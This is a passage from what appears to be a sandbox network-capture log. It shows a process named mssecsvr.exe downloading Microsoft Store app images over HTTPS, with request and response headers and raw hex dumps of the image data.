2022-07-20 04:06:00 UTC	605	OUT	GET /image/apps.59367.13510798885854323.dbec43fa-fcea-4036-9b1c-96de66922c18.da850a8e-5b3f-49fd-b3dc-6a8c0db400e4?format=source HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134 Host: store-images.s-microsoft.com Connection: Keep-Alive
2022-07-20 04:06:00 UTC	605	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=7776000, s-maxage=7776000 Content-Length: 45735 Content-Type: image/png Last-Modified: Wed, 04 Nov 2020 14:51:15 GMT Accept-Ranges: none ETag: W/"AEBa1e7txn2TDYI5ywciWaE/GFaMMdQgMHg4RDg4MEQxMTQ2RkU2Q0E" MS-CV: hrPmTcUjH02eZ8TI.0 Access-Control-Expose-Headers: MS-CV Date: Wed, 20 Jul 2022 04:06:00 GMT Connection: close Access-Control-Allow-Origin: *
2022-07-20 04:06:00 UTC	605	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 8e 00 00 00 8e 08 02 00 00 00 68 9f a7 5f 00 00 00 09 70 48 59 73 00 00 2e 23 00 00 2e 23 01 78 a5 3f 76 00 00 08 ae 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 36 2d 63 31 34 35 20 37 39 2e 31 36 33 34 39 39 2c 20 32 30 31 38 2f 30 38 2f 31 33 2d 31 36 3a 34 30 3a 32 32 20 20 20 20 20 20 20 20 22 3e 20 3c 72 64 66 3a 52 44 Data Ascii: PNGIHDRh_pHYs.#.#x?viTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c145 79.163499, 2018/08/13-16:40:22 "> <rdf:RD
2022-07-20 04:06:00 UTC	621	IN	Data Raw: 71 48 56 59 06 10 b7 b9 3e c3 71 1d 54 28 bc 80 59 82 73 08 c8 36 41 b2 59 ad 39 5f 28 1c 99 9a cd bf fe b7 c7 76 5c d7 e8 9e 6f 1c 7a a6 bf af 20 05 20 33 c4 cd 74 78 a3 db 7a c3 a1 1f fe c3 b1 3f fb e8 2e ec 86 95 80 2c 49 01 88 ec 08 d8 13 18 64 e3 f7 40 a2 37 e2 06 19 5c 53 00 aa 68 69 d1 0a a1 85 d2 a8 23 30 75 d0 a5 7d 57 4f 3c 79 b2 31 bf 1a 47 81 cc 22 33 d9 83 b0 33 47 b9 88 11 3b ad 16 20 30 09 a5 30 b5 46 48 1d 06 7e a3 9d ee 1f c4 bd e3 e5 96 41 a9 b5 f6 3d 21 b3 31 67 90 4a 09 ad 50 29 97 98 e2 e6 91 ea 86 d1 e7 be f0 af 05 c1 63 b7 bf 9a 9c 65 66 21 84 94 a2 34 3e 3a 76 eb cd 5b 7f e6 dd 1b df f1 53 d1 fa 1d ad 4e 70 e9 e0 d9 93 df 7f ea e4 f7 1e 5b 7a f8 d9 74 b9 5e de 38 a6 cb b9 b4 d1 4c d3 44 23 ba d9 8b 1f f8 8b 7f 9b 6a 13 04 fd 6f da Data Ascii: qHVY>qT(Ys6AY9_(v\oz 3txz?.,Id@7\Shi#0u}WO<y1G"33G; 00FH~A=!1gJP)cef!4>:v[SNp[zt^8LD#jo
2022-07-20 04:06:00 UTC	629	IN	Data Raw: ae 59 b7 5e fa 01 92 23 29 c5 ba 75 86 b9 b5 b2 6c 89 c2 30 3c dc 6e 5d 48 d3 f3 ce 1e 05 78 f3 cf bd f7 ff b9 e7 3b fb 5e f5 2a 01 10 c7 31 38 57 1c 99 e8 16 6e ba f7 13 7f f1 f8 f7 26 ff f5 de 99 17 1e 3e b9 47 3c 11 6c d9 06 63 b7 b9 f3 4f cf 7f bf b5 25 57 4d eb 53 d5 37 be 43 59 28 cd 5f 7a 69 b6 3b fd cd e9 09 73 6d 65 e0 77 e2 ce a6 87 4e af 84 8b 47 4b 79 e1 8f 8e cb 42 09 64 84 32 44 1d 82 d4 d9 32 69 60 5a db bd e1 d8 11 90 43 22 a6 1e 41 0e 10 b1 35 59 82 cc c6 32 64 47 e8 90 1d 93 23 e7 98 18 ac 03 66 76 8e ad 03 26 48 1d 91 60 72 2e b5 64 1d a5 44 29 93 23 97 c9 c8 11 19 26 c8 c8 42 d6 0a 7d 16 52 03 b4 b6 ed 80 01 8c 05 43 e0 2c 10 a1 45 70 0e 1d a3 63 b4 2c 2c 4b 87 c2 a1 76 a8 50 69 3f 0c c2 20 18 dd 75 d3 81 73 8f 3d fb e2 19 61 c9 16 01 Data Ascii: Y^#)ul0<n]Hx;^*18Wn&>G<lcO%WMS7CY(_zi;smewNGKyBd2D2i`ZC"A5Y2dG#fv&H`r.dD)#&B}RC,Epc,,KvPi? us=a
2022-07-20 04:06:00 UTC	645	IN	Data Raw: 7b f9 c2 e7 ff fc 75 5e ab 11 cc 69 14 45 81 eb 97 5c bf 3f 1c 18 8c da bd 6e 7b 65 85 52 1a f9 81 e7 79 be e7 07 be 1f 79 be cb b9 94 d2 a3 54 6b 2d a5 d4 08 5b 03 da 58 ad 75 9e e6 59 92 f0 38 a6 8e 83 19 c3 88 02 10 0b 0a 01 06 8a f7 12 42 4c 00 23 8c b0 83 09 26 24 a3 f4 e4 7b 3f 50 bd f4 c3 97 bf fe 87 af dc be d6 f9 f8 cf 1c 3c 72 72 bc 56 2f 8f 4d 3a 03 3f ee 77 95 14 23 9d 9c 31 d6 23 8c bb 2a cf a5 36 56 5a 84 11 41 84 50 0a cc 5a 63 1c 25 3d a9 7d a1 72 6c 72 65 52 ac 12 89 32 8e 0b 38 4f a9 23 c3 71 cc dd 24 69 0e 20 a6 65 04 ca 68 29 75 5a 76 a5 ad a7 fa 70 22 74 26 64 9a 66 e9 70 20 95 92 88 49 05 22 cf b2 5e 7b b7 df 6a e4 09 48 01 80 90 eb 61 ee 52 ca a9 4a b0 cc 0d 75 6c d5 07 a7 80 bc 92 57 a8 56 cb b5 42 6d ac 50 ae 85 61 e4 3b cc a1 98 Data Ascii: {u^iE\?n{eRyyTk-[XuY8BL#&${?P<rrV/M:?w#1#*6VZAPZc%=}rlreR28O#q$i eh)uZvp"t&dfp I"^{jHaRJulWVBmPa;

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
34	192.168.2.6	49808	23.211.6.115	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 04:06:00 UTC	650	OUT	GET /image/apps.62687.13510798885854323.6a8c11ad-84e9-4247-9ba9-ab3742bdbb87.e61dfadd-3bdd-4f66-beb1-6bb763b60b02?format=source HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134 Host: store-images.s-microsoft.com Connection: Keep-Alive
2022-07-20 04:06:00 UTC	651	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=7776000, s-maxage=7776000 Content-Length: 142254 Content-Type: image/png Last-Modified: Mon, 10 Jun 2019 11:14:58 GMT Accept-Ranges: none ETag: W/"AEBa1e7txn2TDYI5ywciWaE/GFaMMdQgMHg4RDZFRDk0REZGNkE2RjM" MS-CV: 3ZtNXbGcZUui37wn.0 Access-Control-Expose-Headers: MS-CV Date: Wed, 20 Jul 2022 04:06:00 GMT Connection: close Access-Control-Allow-Origin: *
2022-07-20 04:06:00 UTC	651	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 0e 00 00 01 0e 08 02 00 00 00 f7 d3 6e f2 00 00 00 09 70 48 59 73 00 00 2e 23 00 00 2e 23 01 78 a5 3f 76 00 00 0a 4f 69 43 43 50 50 68 6f 74 6f 73 68 6f 70 20 49 43 43 20 70 72 6f 66 69 6c 65 00 00 78 da 9d 53 67 54 53 e9 16 3d f7 de f4 42 4b 88 80 94 4b 6f 52 15 08 20 52 42 8b 80 14 91 26 2a 21 09 10 4a 88 21 a1 d9 15 51 c1 11 45 45 04 1b c8 a0 88 03 8e 8e 80 8c 15 51 2c 0c 8a 0a d8 07 e4 21 a2 8e 83 a3 88 8a ca fb e1 7b a3 6b d6 bc f7 e6 cd fe b5 d7 3e e7 ac f3 9d b3 cf 07 c0 08 0c 96 48 33 51 35 80 0c a9 42 1e 11 e0 83 c7 c4 c6 e1 e4 2e 40 81 0a 24 70 00 10 08 b3 64 21 73 fd 23 01 00 f8 7e 3c 3c 2b 22 c0 07 be 00 01 78 d3 0b 08 00 c0 4d 9b c0 30 1c 87 ff 0f ea 42 99 5c 01 80 84 01 c0 74 91 38 4b Data Ascii: PNGIHDRnpHYs.#.#x?vOiCCPPhotoshop ICC profilexSgTS=BKKoR RB&*!J!QEEQ,!{k>H3Q5B.@$pd!s#~<<+"xM0B\t8K
2022-07-20 04:06:00 UTC	667	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii:
2022-07-20 04:06:00 UTC	683	IN	Data Raw: 98 24 56 a1 ef 59 0b 49 aa 90 61 10 04 0c a1 d3 e9 65 be 2f 70 a5 31 56 29 5d ad 55 84 14 48 44 d6 26 49 0a 44 5c 0a d7 f1 2a 41 b8 b9 dd 22 ab 1d 29 3b dd de fc c2 5c 18 06 2f bd 74 5a 30 b4 d6 0a e9 70 c6 06 83 01 08 21 18 1d 99 72 1b ae f4 99 f5 24 33 8c 47 16 99 22 96 25 87 c6 12 59 6e ed e1 49 ff f0 84 f7 3d 47 27 ae b5 a2 33 ab fd 97 56 3a 67 d7 07 db fd f4 56 fa 07 13 7c 6a b2 2e 1d 71 fd c6 7a bf 1f 51 21 08 2f 39 73 90 75 06 f1 20 89 03 57 02 00 43 71 f1 ea cd 41 92 86 be cf 48 45 91 dd d8 6e f7 e3 78 b2 16 00 19 ce a0 d5 e9 6d b6 da 3f ff f0 ac 26 b3 36 80 25 6b d6 d7 d6 6f 5c bf ae b5 56 2a dd da de 52 49 8a 88 83 c1 60 d0 ef 75 da 3b 4a 93 49 95 ef 88 9d 5e 6c 81 b4 d6 2a 55 9d 6e 27 8e e3 7a bd a1 b5 01 20 5e 4c aa e4 5c 64 a3 2b a6 67 e6 24 Data Ascii: $VYIae/p1V)]UHD&ID\A");\/tZ0p!r$3G"%YnI=G'3V:gV\|j.qzQ!/9su WCqAHEnxm?&6%ko\VRI`u;JI^l*Un'z ^L\d+g$
2022-07-20 04:06:00 UTC	684	IN	Data Raw: 8e 83 52 40 a1 e0 41 da 90 4a b2 99 79 2e c7 b9 5a c5 0f bc 14 78 5f 43 37 b6 8e 14 13 b5 60 69 61 52 2b bd b6 dd de d8 6c c5 51 5c af 85 d5 66 4d a7 09 43 ac d5 e5 f2 1e f6 e0 71 8c 12 bd d5 49 2e ac 75 6f 6c f7 8f cf f8 4d 5f de 1c d8 b7 1c 99 ba b4 d1 bf d9 8e 57 37 77 00 e0 8e 99 f0 03 f7 ce 9d bc d9 3d 75 b3 e7 fb 3e 00 ad 6c b4 97 67 82 7f f9 b7 1f 98 6c 04 17 b6 36 3b b1 8e 35 4a 97 6b ad 77 da dd 24 55 81 1f 0e a2 48 6b 25 a5 34 26 1b f5 a7 ad 25 6d 0c 2a 32 84 46 53 92 c6 c6 e8 5e b7 e3 38 ae 10 b2 db ed 6a a5 8d b5 04 94 24 49 1c c7 b5 5a 6d d0 ef ed 3f 78 c4 97 a0 e3 b1 5a ca 6e 4a d2 6b 97 23 6f ff e2 ed 9a c0 4a 75 c9 dd a9 7c 99 50 b8 8b b0 3c a6 ea 82 63 9e 84 0d 9b c3 4a 61 5b 6e 1b 58 2e 41 92 b1 79 ce 6d 33 78 97 03 23 60 36 37 ad dc 3c Data Ascii: R@AJy.Zx_C7`iaR+lQ\fMCqI.uolM_W7w=u>lgl6;5Jkw$UHk%4&%m*2FS^8j$IZm?xZnJk#oJu\|P<cJa[nX.Aym3x#`67<
2022-07-20 04:06:00 UTC	700	IN	Data Raw: fa 6a 27 e9 58 03 e7 34 b0 06 68 50 93 a6 20 56 51 65 6a 27 06 9c 3b ef 25 04 0a 30 36 61 96 a0 aa ea 00 9e 32 b2 39 1e 88 6d 0b dc 2f 96 56 d6 9f b8 f0 fe 9b d7 83 68 c6 24 44 4c 7a 48 f4 6a 5a 00 45 00 02 69 0c eb 0a 22 26 b7 d9 62 7b 36 0b e3 ad 71 c2 52 e4 96 1b 55 a4 2a 98 94 11 44 34 10 02 21 08 82 68 68 08 5e e2 29 6f 07 20 80 c2 9d ab 1a 42 a8 cb de c9 b3 59 bb f3 d0 62 b1 75 c0 2f 6d d6 c6 70 33 5f 12 8d a9 15 7a 74 56 ee 0a 30 d2 43 2c e6 3c 83 49 61 1b 33 17 0e 33 ce 1b 0d 9f 73 4e 45 c8 18 c3 cd 5e 86 99 54 e0 bd 87 c6 63 83 78 c6 d8 34 e8 96 10 fc 62 2b 6d a5 7c f7 80 4b 71 97 fc 26 9e 18 55 0d a2 22 1a 82 b2 51 e2 08 61 26 51 41 88 9d dc dc d6 ab 77 6d 5f 0e 07 7f 74 c4 f2 92 79 5d 1b 15 b8 12 48 05 9a 82 18 96 90 e4 e0 1c 1a a2 82 a5 99 77 Data Ascii: j'X4hP VQej';%06a29m/Vh$DLzHjZEi"&b{6qRU*D4!hh^)o BYbu/mp3_ztV0C,<Ia33sNE^Tcx4b+m\|Kq&U"Qa&QAwm_ty]Hw
2022-07-20 04:06:00 UTC	712	IN	Data Raw: a1 6c d8 4e 43 b0 12 7e e8 de 64 b5 3d fa d6 2b 3c 9b 2d fe c0 0f 26 9f fc 5c 3d 1a b8 8d 5b 3c 18 e0 e6 0d 37 1a 4e 27 b3 e9 d6 f6 74 6b bb 9c 56 0e b0 40 ef c4 6a ff c9 fb 57 7e e8 c3 8b 1f bd df f6 33 37 1c f8 dd 99 36 dd be 77 ae d2 e0 ab c1 c1 5b 2f bd fa b7 bf 76 e9 3b b7 6a 00 dd 5e 97 99 76 77 07 69 9a 1a c3 d3 89 e3 34 5b 6f 49 2f a5 a0 0c 8a b9 2d b1 dc 8b e0 22 d5 20 5a 4f 65 74 87 d9 2a 8b c6 38 21 6d f8 67 94 b4 61 ac fa 0a c4 1c 43 82 1b c3 0c 35 a6 f9 e0 29 cd f4 e0 75 f8 09 ad 3c a5 9c 13 29 19 0b 4e e7 d9 52 02 b6 e0 04 50 b8 09 c2 0c d5 16 c4 c3 58 22 85 04 b0 c2 30 84 41 99 06 07 32 c8 5a 08 53 f8 0a 9c 80 69 6b 73 44 ab 8f 64 eb 0f 13 82 c9 5f 0d ee 40 17 2e 6a fa dd 83 1b ef 4e b6 af b4 57 16 83 93 e9 e6 8d 9c 7d ab 53 90 77 60 03 28 Data Ascii: lNC~d=+<-&\=[<7N'tkV@jW~376w[/v;j^vwi4[oI/-" ZOet*8!mgaC5)u<)NRPX"0A2ZSiksDd_@.jNW}Sw`(
2022-07-20 04:06:00 UTC	728	IN	Data Raw: 3b 0e 8f 1e a9 5d e6 ea e4 48 bd 8d 25 b0 b2 86 d6 13 16 e7 93 ca 91 72 a2 2a c2 41 3d 07 92 00 38 5f 33 85 ea f6 e6 de 1b 57 b7 0c 82 05 48 54 99 e8 ce 20 78 6e 98 8e ed de 8b a5 31 10 30 6c 92 5f bc 7c 71 eb ca d5 a7 1e 7c 68 61 fd d8 be c8 d6 5f 3d 7f e3 89 c7 6f fd 4f ff 34 fb cc 67 97 41 45 f0 5f d9 b8 7d 7a 34 ba 6b 75 b5 d3 e9 16 65 69 99 1f 39 71 b2 0c fe b5 bd dd 62 c3 9f ad aa 63 c7 4f dc 7b ea d4 c5 da b9 e9 d4 95 05 03 db 1f fe ed d9 ab 6f 4c af 5c d9 77 d2 3f 3c a8 8a e1 cd ba b0 a9 b1 eb 7d 3e b6 30 ea a4 b6 d3 3d 75 ef 7d 57 3f fc 1b bb 9f f9 e2 c3 9d de c2 d2 f2 8d dd dd ab c3 7d 01 d6 07 8b 67 d7 d6 8c b1 d7 76 77 77 86 a3 4e 9e 1d 5b 5a ea 67 39 a0 d7 c7 a3 57 f6 f7 72 a4 f7 f7 8f 3d f4 2e dc ff c7 8b 13 0f 98 7c 65 01 59 0a 4a 21 16 81 Data Ascii: ;]H%r*A=8_3WHT xn10l_\|q\|ha_=oO4gAE_}z4kuei9qbcO{oL\w?<}>0=u}W?}gvwwN[Zg9Wr=.\|eYJ!
2022-07-20 04:06:00 UTC	744	IN	Data Raw: c8 a7 ef a2 b5 75 bc ff bd b8 fb 2e 3c f3 0c 5e 7e 05 93 a9 5a 83 4e 6e 96 96 fa c6 f4 7b fd ea f0 60 34 1c ed 17 d3 51 39 1d bf 5a e9 9b 63 c9 3a 49 b2 db a1 3d 37 a2 24 4f 7c c7 8d ae 14 d5 e4 c0 be ef 09 4a fa ba 31 a4 de 59 77 ed 16 16 57 55 ab b0 b7 0b e6 3c 31 36 48 f0 ea bc af 67 f5 6c 7b 72 f3 e5 bd e9 f1 ee e2 4a 96 80 4d d2 e9 2d f7 17 d7 d0 5f 2e f3 94 6c 96 90 b1 06 6a a1 6c 18 56 89 63 de eb dc 0e 43 31 03 cf 15 75 31 2a cb 61 55 4e eb 50 07 b2 94 a4 26 c9 ad 49 a8 31 35 73 14 4a 89 88 06 27 ae 0c ae f2 c1 2b a0 4c 88 78 32 af c1 8c b4 b3 81 72 8c 4b 86 6f b2 0d aa 95 a3 b1 e3 a1 37 85 10 1c 6f af 57 d7 7b c1 78 74 e2 37 5b c1 0c 9b 21 ef a2 bf c8 44 5a cf 14 be 69 e2 89 40 06 24 77 24 a3 09 1a fd aa c7 e2 31 54 33 20 a0 6f 31 30 aa 0a cb e8 Data Ascii: u.<^~ZNn{`4Q9Zc:I=7$O\|J1YwWU<16Hgl{rJM-_.ljlVcC1u1*aUNP&I15sJ'+Lx2rKo7oW{xt7[!DZi@$w$1T3 o10
2022-07-20 04:06:00 UTC	752	IN	Data Raw: 5d 6b 8c 9e 8a 64 09 3a 5a 78 0b 28 f6 21 42 f0 11 83 02 aa 99 5c 7b 9f 78 cf c1 93 eb 85 e9 43 e5 e8 81 c2 ad 7a 04 f0 3e 4c 02 9b c2 da 36 43 a2 4d 3b 89 2a 2f c3 48 73 b6 26 a9 8b 50 cd 7c 5d 22 cd 23 f6 8e f3 2c 4b 73 52 68 d6 47 da 83 02 b7 2e e2 e4 83 38 fb 08 6e bd 01 6b 91 e7 18 0c b0 d8 13 dd 28 ab 11 1b a3 27 68 30 b2 e5 4d 2e 53 c6 e1 18 5b 07 38 b5 06 22 38 07 55 18 83 51 65 ea 3a b5 1c 88 d8 da ac 73 7b 7b 67 6f 7f 2f cb d3 b5 f5 35 c3 ac ce 0b 71 8b dd 50 cf 54 c3 27 81 43 90 ab 37 6f dc 7b cf 85 2a f8 3a d4 31 72 8f 00 11 15 09 2a 2a 21 04 11 e7 3d 98 3b eb eb d3 c9 58 43 b0 44 22 52 0f 47 0b 3e 24 5d 13 8e b4 08 1a a0 d1 5e e2 5c 3d 1e 8e cb a2 10 11 66 0e 21 7c cd 09 39 da d6 1f 61 2f d4 18 d3 e9 74 38 ba d7 a0 5f 83 ef 23 6a 69 d2 4d cc Data Ascii: ]kd:Zx(!B\{xCz>L6CM;/Hs&P\|]"#,KsRhG.8nk('h0M.S[8"8UQe:s{{go/5qPT'C7o{:1r**!=;XCD"RG>$]^\=f!\|9a/t8_#jiM
2022-07-20 04:06:00 UTC	768	IN	Data Raw: aa 42 29 5a 25 84 64 88 0d a8 51 51 63 a0 ac 6a 34 b1 24 ad 6a 82 da 13 8e 4f 44 04 61 86 44 d9 5f cc 6e 3c 7e f0 c6 6b af ef ec 9e 5e df d9 8e 22 75 55 1d 3f d9 5b 4c a6 31 c4 2c cf 5c e6 ac cb 54 55 88 06 c3 a1 eb 95 fb 0f 1f 5d 7f ed f5 f7 af 7f 28 4d f5 6b 9f 38 f3 57 be fc fc 97 3e 76 71 e7 d4 b6 19 0c 91 15 20 0b 90 08 a2 68 94 13 d7 3c 26 fb 8c ce 9e 56 74 fc 8e 34 99 58 2a 51 63 5c 51 8f 7d 17 1b 2d 31 c5 52 51 ca d7 65 43 9c 22 2e 53 2b 4d 87 d9 10 7d 1b 9a da d7 b5 b6 cd 8d 77 de 69 fb 67 2e bc f4 f9 d6 07 62 c7 36 66 85 18 83 dc db 98 3b 9f 67 45 66 cb e5 b2 74 a6 f7 f2 27 f7 c7 6b b3 1b 6f 1e ce a7 69 93 e6 95 49 85 81 3a a7 86 89 1d 75 49 24 82 74 ef 44 66 94 35 b6 1e 42 41 74 7e b4 e0 3c 03 f8 5c e1 fe ea cf 6f fd d4 a7 36 7f ef 3b 7b df 7c Data Ascii: B)Z%dQQcj4$jODaD_n<~k^"uU?[L1,\TU](Mk8W>vq h<&Vt4X*Qc\Q}-1RQeC".S+M}wig.b6f;gEft'koiI:uI$tDf5BAt~<\o6;{\|
2022-07-20 04:06:00 UTC	776	IN	Data Raw: 78 49 2f cd 20 31 36 12 42 f4 6d f0 41 62 d4 36 6a dd a2 0a 58 b6 a8 3c 9a 80 65 83 65 83 a0 d0 22 2f 2e 5e 59 bb f4 b1 fe b9 e7 07 9b a7 47 83 7e 2f b7 f9 ea 47 96 e5 d6 39 63 1d b3 21 36 9d 5e 37 75 95 84 d7 a7 a3 44 ca 24 0d d1 7b ef db ce 6b 2e 86 28 01 59 56 9e 3d 7b fe dc b9 73 59 e6 44 7e 62 45 3e 59 94 55 35 c6 d8 b6 5e c4 bf f3 fe dd 3f fe f6 87 ce 59 66 0b 62 fb e8 e8 c0 b1 29 b2 2c 77 59 66 ac 61 8e 21 32 b5 de 18 ef 33 6b 9d b5 c6 59 97 7e 65 bb e0 77 63 d9 58 63 c8 b0 0f de a4 77 85 08 11 c5 10 53 ab d0 14 51 4f 12 45 10 23 07 56 95 10 22 a9 5a e8 6a 45 39 f9 e2 82 84 20 2b 13 47 e2 48 c4 5d 5a dc d3 84 17 7d 86 1a cd 38 09 43 25 26 63 d9 75 df ba 93 b8 b1 66 ce 03 63 5e fe c4 c7 de fe f1 5b 1f 7d 33 9c f9 ec 9f 11 ce 1e de bd dd b6 7e f7 fc Data Ascii: xI/ 16BmAb6jX<ee"/.^YG~/G9c!6^7uD${k.(YV={sYD~bE>YU5^?Yfb),wYfa!23kY~ewcXcwSQOE#V"ZjE9 +GH]Z}8C%&cufc^[}3~

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
35	192.168.2.6	49815	23.211.6.115	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 04:06:00 UTC	790	OUT	GET /image/apps.65344.13576748414566955.3d986480-8c1e-4271-9c7c-a90619002084.2a7e9f85-6e2d-4bc7-ad81-13196f5baf00?format=source HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134 Host: store-images.s-microsoft.com Connection: Keep-Alive
2022-07-20 04:06:00 UTC	790	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=7776000, s-maxage=7776000 Content-Length: 17018 Content-Type: image/png Last-Modified: Wed, 23 Mar 2022 12:32:14 GMT Accept-Ranges: none ETag: W/"AEBa1e7txn2TDYI5ywciWaE/GFaMMdQgMHg4REEwQ0M5Mjk0RDY0MzI" MS-CV: 8/oQHq+FgEulH2fF.0 Access-Control-Expose-Headers: MS-CV Date: Wed, 20 Jul 2022 04:06:00 GMT Connection: close Access-Control-Allow-Origin: *
2022-07-20 04:06:00 UTC	791	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 8e 00 00 00 8e 08 02 00 00 00 68 9f a7 5f 00 00 42 41 49 44 41 54 78 9c e5 bd 77 bc 1d c5 79 37 fe 7d 66 77 4f b9 bd e9 ea 0a 15 54 69 92 e8 5d 18 8c c1 18 8c 6d dc 30 c6 80 13 3b af eb 1b a7 d8 71 12 fb 8d 93 bc bf bc 49 ec c4 25 ee 49 5c 08 71 23 06 63 30 8e 0d c1 18 63 03 a6 08 90 00 21 40 42 5d ba bd 9f ba bb 33 cf ef 8f 6d 33 bb 7b ae 84 83 4b 92 f9 dc cf b9 7b 66 a7 3e df a7 cd 33 b3 7b 08 37 4d e1 c8 13 bd a8 c5 e2 c4 2f 52 99 ff d6 c9 7e 01 65 17 06 e0 85 c2 93 5b 77 01 3c e8 70 05 fe bb a7 23 83 6a 01 18 8e 54 ce 32 e5 38 8f ea a9 52 d9 22 ff 83 01 7b 21 52 95 4a ad 40 ca a2 72 24 c5 16 40 ae 15 60 68 71 f7 bf 69 3a 1c 54 b9 64 cf cf cc e4 1e b9 4a 64 b3 7a 0a b6 85 25 e9 7f 8c 9c bd 70 a9 Data Ascii: PNGIHDRh_BAIDATxwy7}fwOTi]m0;qI%I\q#c0c!@B]3m3{K{f>3{7M/R~e[w<p#jT28R"{!RJ@r$@`hqi:TdJdz%p
2022-07-20 04:06:00 UTC	806	IN	Data Raw: 2e 89 b3 99 e6 82 2f 2c 95 09 72 e6 b7 90 ed 9d 92 ea da dd 78 17 98 c3 df a0 4a 50 49 49 83 2e 4c a6 23 9e 63 81 90 94 4f 3b 20 5a 23 39 d5 22 6e d2 39 37 cb 95 09 72 9c 63 06 c8 2c 93 dc cb aa c5 5c a2 e9 03 8b 2b ea a9 85 6e e4 2c 11 72 3b cb 65 70 4a 3e 13 96 32 e4 58 db b0 67 ed 45 4f b1 43 a1 53 3c bb 6c 4a c9 5f aa 77 43 51 b4 12 5c 73 26 9c 47 cd b8 71 1d 98 d4 6c 75 60 62 5f d4 28 db 3a b4 18 2b 9b 1c a1 4c b1 08 99 76 41 6f 79 01 f9 5b 40 86 a0 89 51 5e 19 4d 75 d9 89 4c 28 ad 50 cc fb c1 67 1c a8 8d 49 96 95 aa dc 81 72 d6 ad 8f 3f b5 f8 50 4c ac 94 ea cb 5c 66 ec 8d d6 5a ba 64 eb 00 55 9c a1 f3 6e 6a 1b 0c 6c 48 67 68 d8 62 bc 29 d9 de 33 ea 99 e3 cf 32 6b 5c 3d bb 07 94 10 3f 6f 2e 61 64 3d d1 48 1a 92 71 70 96 75 a6 36 77 16 74 d9 d2 9b cf Data Ascii: ./,rxJPII.L#cO; Z#9"n97rc,\+n,r;epJ>2XgEOCS<lJ_wCQ\s&Gqlu`b_(:+LvAoy[@Q^MuL(PgIr?PL\fZdUnjlHghb)32k\=?o.ad=Hqpu6wt

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
36	192.168.2.6	49816	23.211.6.115	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 04:06:00 UTC	807	OUT	GET /image/apps.8341.13510798886747090.a0953092-5fc3-46f0-aefa-796cb3a9b90b.fc0c6be7-c064-44dc-a7df-81e7097e3c93?format=source HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134 Host: store-images.s-microsoft.com Connection: Keep-Alive
2022-07-20 04:06:00 UTC	808	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=7776000, s-maxage=7776000 Content-Length: 134215 Content-Type: image/jpeg Last-Modified: Mon, 09 Aug 2021 18:24:58 GMT Accept-Ranges: none ETag: W/"AEBa1e7txn2TDYI5ywciWaE/GFaMMdQgMHg4RDk1QjYyRkVDQ0U2RjU" MS-CV: SxgH/nslsk+u9Yr4.0 Access-Control-Expose-Headers: MS-CV Date: Wed, 20 Jul 2022 04:06:00 GMT Connection: close Access-Control-Allow-Origin: *
